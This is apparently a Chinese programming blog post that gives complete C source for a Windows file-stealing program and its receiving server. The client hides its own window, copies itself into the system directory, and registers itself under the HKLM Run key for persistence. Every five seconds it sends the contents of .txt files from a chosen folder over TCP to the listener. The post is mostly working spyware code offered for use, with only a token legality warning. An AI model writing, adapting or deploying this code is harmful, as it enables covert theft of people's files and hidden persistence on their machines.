Windows编程 + 窃取对方主机文件程序+加入注册表+自动隐藏自身

Windows编程

窃取对方自定义目录下的文件
加入注册表+自动隐藏自身
我这里是如图所示的目录
C:\Binggo下有一个123.txt的文件里面内容随便写(被窃取端)

在这里插入图片描述
在这里插入图片描述
实时窃取我后面新建了1212.txt也能窃取的到
在这里插入图片描述
完整代码如下,大佬勿喷

被窃取端代码

#include<stdio.h>
#include<windows.h>
#include<io.h>
#pragma comment(lib, "ws2_32.lib")
int SendtoServer(const char* path)
{
	//初始化网络库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	char sendBuf[1024] = { 0 };
	wVersionRequested = MAKEWORD(2, 2);
	//初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
		printf("WSAStartup errNum=%d\n", GetLastError());
		return 0;
	}
	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
		printf("LOBYTE errorNum= %d\n", GetLastError());
		WSACleanup();
		return-1;
	}
	//安装电话机 选中函数 按F1
	SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
	//配置连接的服务器
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");//端口
	addrSrv.sin_family = AF_INET;//地址类型
	addrSrv.sin_port = htons(6000);//端口
	//连接服务器
	if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
		printf("connect errNum= %d\n", GetLastError());
		return -1;
	}
	//读取文件内容
	FILE* fp = fopen(path, "rb");
	int len = fread(sendBuf,1,1024,fp);
	fclose(fp);
	//char recvBuf[100] = { 0 };
	//int  iLen = recv(sockCli, recvBuf, 100, 0);
	//printf("recvBuf=%s\n", recvBuf);
	//char sendBuf[100] = "ni hao";
	//发送数据
	int iLen = send(sockCli, sendBuf, strlen(sendBuf)+1, 0);
	if (iLen < 0)
	{
		printf("send error=%d\n", GetLastError());
		return -1;
	}
	closesocket(sockCli);
	WSACleanup();
	return 0;
}
int DoSteal(const char *szPath)
{
	WIN32_FIND_DATA FindFileData;//FindFileData表示文件
	HANDLE hListFile;//文件用句柄来标识
		char szFilePath[MAX_PATH] = { 0 };
		strcpy(szFilePath, szPath);
		strcat(szFilePath, "\\*");
		//找到第一个文件
		hListFile=FindFirstFile(szFilePath, &FindFileData);
	do
	{
		char mypath[MAX_PATH] = {0};
		strcpy(mypath, szPath);
		strcat(mypath, FindFileData.cFileName);
		if (strstr(mypath, ".txt"))
		{
			SendtoServer(mypath);
		}
		printf("mypath = %s\n", mypath);
	} while (FindNextFile(hListFile, &FindFileData));
	return 0;
}
void AddToSystem()
{
	HKEY hKEY;
	char CurrentPath[MAX_PATH];
	char SysPath[MAX_PATH];
	long ret = 0;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type = REG_SZ;
	DWORD size = MAX_PATH;
	LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";

	GetSystemDirectory(SysPath, size);
	GetModuleFileName(NULL,CurrentPath,size);

	FileCurrentName = CurrentPath;
	FileNewName = lstrcat(SysPath,"\\Steal.exe");
	struct _finddata_t Steal;
	printf("retl = %d,FileNewName=%s\n",ret,FileNewName);
	if (_findfirst(FileNewName, &Steal) != -1)
	{
		return;
	}
	printf("ret2 = %d\n",ret);
	int ihow = MessageBox(0, "该程序只允许用于合法的用途", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
	if (ihow == IDCANCEL)
	{
		exit(0);
	}
	if (ihow == IDNO)
	{
		return;//只执行一次
	}
	//复制文件
	ret = CopyFile(FileCurrentName, FileNewName, TRUE);
	if (!ret)
	{
		return;
	}
	//加入注册表
	printf("ret = %d\n",ret);
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE,&hKEY);
	if (ret!=ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
			return;
	}
	ret = RegSetValueEx(hKEY,"Steal",NULL,type,(const unsigned char*)FileNewName,size);
	if (ret != ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	RegCloseKey(hKEY);
}
void HideMyself()
{
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd,SW_HIDE);
}

int main()
{
	printf("Steal\n");
	//隐藏自身
	HideMyself();
	//添加到启动项
	AddToSystem();
	
	//窃取文件
	while (true)
	{
		DoSteal("C:\\Binggo\\");//注意 \\ 目录自定义
		Sleep(5000);
	}
	
	system("pause");
	return 0;
}

窃取端代码

#include <stdio.h>
#include<windows.h>
#pragma comment(lib, "ws2_32.lib")
#define MAX_SIZE 1024
//控制台打印错误码函数
void ErrorHanding(const char*msg)
{
	fputs(msg, stderr);
	fputc('\n', stderr);
	exit(1);
}
int main()
{
	//初始化网络库
	WORD wVersionRequested; //unsigned short
	WSADATA wsaData;
	int err;
	char msg[MAX_SIZE] = {0};
	wVersionRequested = MAKEWORD(2, 2);//将两个byte合并成一个word
	//初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
		ErrorHanding("WSAStartup err");
	}
	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
		printf("LOBYTE errorNum= %d\n", GetLastError());
		WSACleanup();
		ErrorHanding("LOBYTE error");
		return-1;
	}
	SOCKET hServerSock = socket(PF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == hServerSock)//INVALID_SOCKET=0
	{
		ErrorHanding("socket err");
	}
	SOCKADDR_IN addrSrv;//结构体
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//地址0.0.0.0
	addrSrv.sin_family = AF_INET;//地址类型
	addrSrv.sin_port = htons(6000);//端口
	if (SOCKET_ERROR == bind(hServerSock, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
		ErrorHanding("sock error");
	}
	//监听listen
	if (SOCKET_ERROR == listen(hServerSock, 5))
	{
		ErrorHanding("listen error");
	}
	SOCKADDR_IN addrCli;
	int cliAdrSize = sizeof(SOCKADDR_IN);
	SOCKET cliSock;
	int strLen = 0;
	while(TRUE)
	{
		cliSock = accept(hServerSock, (SOCKADDR*)&addrCli, &cliAdrSize);
		if (SOCKET_ERROR == cliSock)
		{
			ErrorHanding("accept error");
		}
		memset(msg,0,MAX_SIZE);
		while ((strLen= recv(cliSock,msg,MAX_SIZE,0))!=0)
		{
			printf("Server msg=%s\n",msg);
		}
		closesocket(cliSock);
	}
	closesocket(hServerSock);
	WSACleanup();
	system("pause");
	return 0;
}
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
资源包主要包含以下内容: ASP项目源码:每个资源包中都包含完整的ASP项目源码,这些源码采用了经典的ASP技术开发,结构清晰、注释详细,帮助用户轻松理解整个项目的逻辑和实现方式。通过这些源码,用户可以学习到ASP的基本语法、服务器端脚本编写方法、数据库操作、用户权限管理等关键技术。 数据库设计文件:为了方便用户更好地理解系统的后台逻辑,每个项目中都附带了完整的数据库设计文件。这些文件通常包括数据库结构图、数据表设计文档,以及示例数据SQL脚本。用户可以通过这些文件快速搭建项目所需的数据库环境,并了解各个数据表之间的关系和作用。 详细的开发文档:每个资源包都附有详细的开发文档,文档内容包括项目背景介绍、功能模块说明、系统流程图、用户界面设计以及关键代码解析等。这些文档为用户提供了深入的学习材料,使得即便是从零开始的开发者也能逐步掌握项目开发的全过程。 项目演示与使用指南:为帮助用户更好地理解和使用这些ASP项目,每个资源包中都包含项目的演示文件和使用指南。演示文件通常以视频或图文形式展示项目的主要功能和操作流程,使用指南则详细说明了如何配置开发环境、部署项目以及常见问题的解决方法。 毕业设计参考:对于正在准备毕业设计的学生来说,这些资源包是绝佳的参考材料。每个项目不仅功能完善、结构清晰,还符合常见的毕业设计要求和标准。通过这些项目,学生可以学习到如何从零开始构建一个完整的Web系统,并积累丰富的项目经验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值